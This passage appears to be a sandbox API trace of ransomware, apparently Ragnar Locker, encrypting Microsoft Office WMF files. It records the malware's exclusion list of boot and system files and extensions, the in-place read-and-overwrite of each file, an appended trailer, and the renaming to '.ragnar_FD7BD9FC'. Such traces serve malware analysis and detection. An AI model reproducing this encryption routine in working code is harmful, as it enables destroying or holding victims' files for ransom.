ftCreationTime.dwHighDateTime=0x1bdcf22, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb337000, ftLastWriteTime.dwHighDateTime=0x1bdcf22, nFileSizeHigh=0x0, nFileSizeLow=0x884, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18228_.WMF", cAlternateFileName="")) returned 1 [0096.715] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.715] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18228_.WMF" | out: lpString1="BD18228_.WMF") returned="BD18228_.WMF" [0096.715] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18228_.WMF") returned=".WMF" [0096.715] lstrcmpiW (lpString1="BD18228_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.715] lstrcmpiW (lpString1="BD18228_.WMF", lpString2="autorun.inf") returned 1 [0096.715] lstrcmpiW (lpString1="BD18228_.WMF", lpString2="boot.ini") returned -1 [0096.715] lstrcmpiW (lpString1="BD18228_.WMF", lpString2="bootfont.bin") returned -1 [0096.715] lstrcmpiW (lpString1="BD18228_.WMF", lpString2="bootsect.bak") returned -1 [0096.715] lstrcmpiW (lpString1="BD18228_.WMF", lpString2="bootmgr") returned -1 [0096.715] lstrcmpiW (lpString1="BD18228_.WMF", lpString2="bootmgr.efi") returned -1 [0096.716] lstrcmpiW (lpString1="BD18228_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.716] lstrcmpiW (lpString1="BD18228_.WMF", lpString2="desktop.ini") returned -1 [0096.716] lstrcmpiW (lpString1="BD18228_.WMF", lpString2="iconcache.db") returned -1 [0096.716] lstrcmpiW (lpString1="BD18228_.WMF", lpString2="ntldr") returned -1 [0096.716] lstrcmpiW (lpString1="BD18228_.WMF", lpString2="ntuser.dat") returned -1 [0096.716] lstrcmpiW (lpString1="BD18228_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.716] lstrcmpiW (lpString1="BD18228_.WMF", lpString2="ntuser.ini") returned -1 [0096.716] lstrcmpiW (lpString1="BD18228_.WMF", lpString2="thumbs.db") returned -1 [0096.716] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.716] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.716] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.716] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.716] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.716] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.716] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.716] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18228_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18228_.wmf")) returned 0x20 [0096.716] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18228_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18228_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.717] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=2180) returned 1 [0096.717] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x87b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.717] GetProcessHeap () returned 0x580000 [0096.717] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.717] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.718] VirtualAlloc (lpAddress=0x0, dwSize=0x884, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.718] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.718] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.718] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x884, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x884, lpOverlapped=0x0) returned 1 [0096.719] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.719] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x884, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.719] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x884, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x884, lpOverlapped=0x0) returned 1 [0096.719] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x884, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.719] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.719] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x884, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.719] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.719] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.719] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.719] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.719] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.719] GetProcessHeap () returned 0x580000 [0096.720] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.720] CloseHandle (hObject=0xf4) returned 1 [0096.720] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18228_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18228_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18228_.WMF" [0096.720] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18228_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18228_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18228_.WMF.ragnar_FD7BD9FC" [0096.720] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18228_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18228_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18228_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18228_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.720] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3405b200, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3405b200, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18229_.WMF", cAlternateFileName="")) returned 1 [0096.720] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.720] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18229_.WMF" | out: lpString1="BD18229_.WMF") returned="BD18229_.WMF" [0096.720] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18229_.WMF") returned=".WMF" [0096.720] lstrcmpiW (lpString1="BD18229_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.721] lstrcmpiW (lpString1="BD18229_.WMF", lpString2="autorun.inf") returned 1 [0096.721] lstrcmpiW (lpString1="BD18229_.WMF", lpString2="boot.ini") returned -1 [0096.721] lstrcmpiW (lpString1="BD18229_.WMF", lpString2="bootfont.bin") returned -1 [0096.721] lstrcmpiW (lpString1="BD18229_.WMF", lpString2="bootsect.bak") returned -1 [0096.721] lstrcmpiW (lpString1="BD18229_.WMF", lpString2="bootmgr") returned -1 [0096.721] lstrcmpiW (lpString1="BD18229_.WMF", lpString2="bootmgr.efi") returned -1 [0096.721] lstrcmpiW (lpString1="BD18229_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.721] lstrcmpiW (lpString1="BD18229_.WMF", lpString2="desktop.ini") returned -1 [0096.721] lstrcmpiW (lpString1="BD18229_.WMF", lpString2="iconcache.db") returned -1 [0096.721] lstrcmpiW (lpString1="BD18229_.WMF", lpString2="ntldr") returned -1 [0096.721] lstrcmpiW (lpString1="BD18229_.WMF", lpString2="ntuser.dat") returned -1 [0096.721] lstrcmpiW (lpString1="BD18229_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.721] lstrcmpiW (lpString1="BD18229_.WMF", lpString2="ntuser.ini") returned -1 [0096.721] lstrcmpiW (lpString1="BD18229_.WMF", lpString2="thumbs.db") returned -1 [0096.721] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.721] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.721] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.721] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.721] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.721] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.721] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.721] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18229_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18229_.wmf")) returned 0x20 [0096.722] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18229_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18229_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.722] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=2020) returned 1 [0096.722] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7db, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.722] GetProcessHeap () returned 0x580000 [0096.722] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.722] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.724] VirtualAlloc (lpAddress=0x0, dwSize=0x7e4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.724] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.724] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.724] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7e4, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x7e4, lpOverlapped=0x0) returned 1 [0096.724] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.724] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7e4, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.724] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7e4, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x7e4, lpOverlapped=0x0) returned 1 [0096.724] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7e4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.724] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.725] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.725] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.725] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.725] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.725] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.725] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.725] GetProcessHeap () returned 0x580000 [0096.725] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.725] CloseHandle (hObject=0xf4) returned 1 [0096.725] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18229_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18229_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18229_.WMF" [0096.725] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18229_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18229_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18229_.WMF.ragnar_FD7BD9FC" [0096.725] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18229_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18229_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18229_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18229_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.726] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef2cd000, ftCreationTime.dwHighDateTime=0x1bdcf1b, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xef2cd000, ftLastWriteTime.dwHighDateTime=0x1bdcf1b, nFileSizeHigh=0x0, nFileSizeLow=0x724, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18230_.WMF", cAlternateFileName="")) returned 1 [0096.726] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.726] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18230_.WMF" | out: lpString1="BD18230_.WMF") returned="BD18230_.WMF" [0096.726] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18230_.WMF") returned=".WMF" [0096.726] lstrcmpiW (lpString1="BD18230_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.726] lstrcmpiW (lpString1="BD18230_.WMF", lpString2="autorun.inf") returned 1 [0096.726] lstrcmpiW (lpString1="BD18230_.WMF", lpString2="boot.ini") returned -1 [0096.726] lstrcmpiW (lpString1="BD18230_.WMF", lpString2="bootfont.bin") returned -1 [0096.726] lstrcmpiW (lpString1="BD18230_.WMF", lpString2="bootsect.bak") returned -1 [0096.726] lstrcmpiW (lpString1="BD18230_.WMF", lpString2="bootmgr") returned -1 [0096.726] lstrcmpiW (lpString1="BD18230_.WMF", lpString2="bootmgr.efi") returned -1 [0096.726] lstrcmpiW (lpString1="BD18230_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.726] lstrcmpiW (lpString1="BD18230_.WMF", lpString2="desktop.ini") returned -1 [0096.726] lstrcmpiW (lpString1="BD18230_.WMF", lpString2="iconcache.db") returned -1 [0096.726] lstrcmpiW (lpString1="BD18230_.WMF", lpString2="ntldr") returned -1 [0096.726] lstrcmpiW (lpString1="BD18230_.WMF", lpString2="ntuser.dat") returned -1 [0096.726] lstrcmpiW (lpString1="BD18230_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.726] lstrcmpiW (lpString1="BD18230_.WMF", lpString2="ntuser.ini") returned -1 [0096.726] lstrcmpiW (lpString1="BD18230_.WMF", lpString2="thumbs.db") returned -1 [0096.726] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.726] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.726] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.726] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.727] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.727] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.727] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.727] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18230_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18230_.wmf")) returned 0x20 [0096.727] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18230_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18230_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.727] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1828) returned 1 [0096.727] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x71b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.727] GetProcessHeap () returned 0x580000 [0096.727] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.727] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.729] VirtualAlloc (lpAddress=0x0, dwSize=0x724, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.729] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.729] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.729] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x724, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x724, lpOverlapped=0x0) returned 1 [0096.729] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.729] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x724, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.729] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x724, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x724, lpOverlapped=0x0) returned 1 [0096.730] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x724, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.730] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.730] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x724, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.730] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.730] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.730] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.730] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.730] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.730] GetProcessHeap () returned 0x580000 [0096.730] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.730] CloseHandle (hObject=0xf4) returned 1 [0096.730] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18230_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18230_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18230_.WMF" [0096.730] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18230_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18230_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18230_.WMF.ragnar_FD7BD9FC" [0096.730] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18230_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18230_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18230_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18230_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.731] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfa3500, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcfa3500, 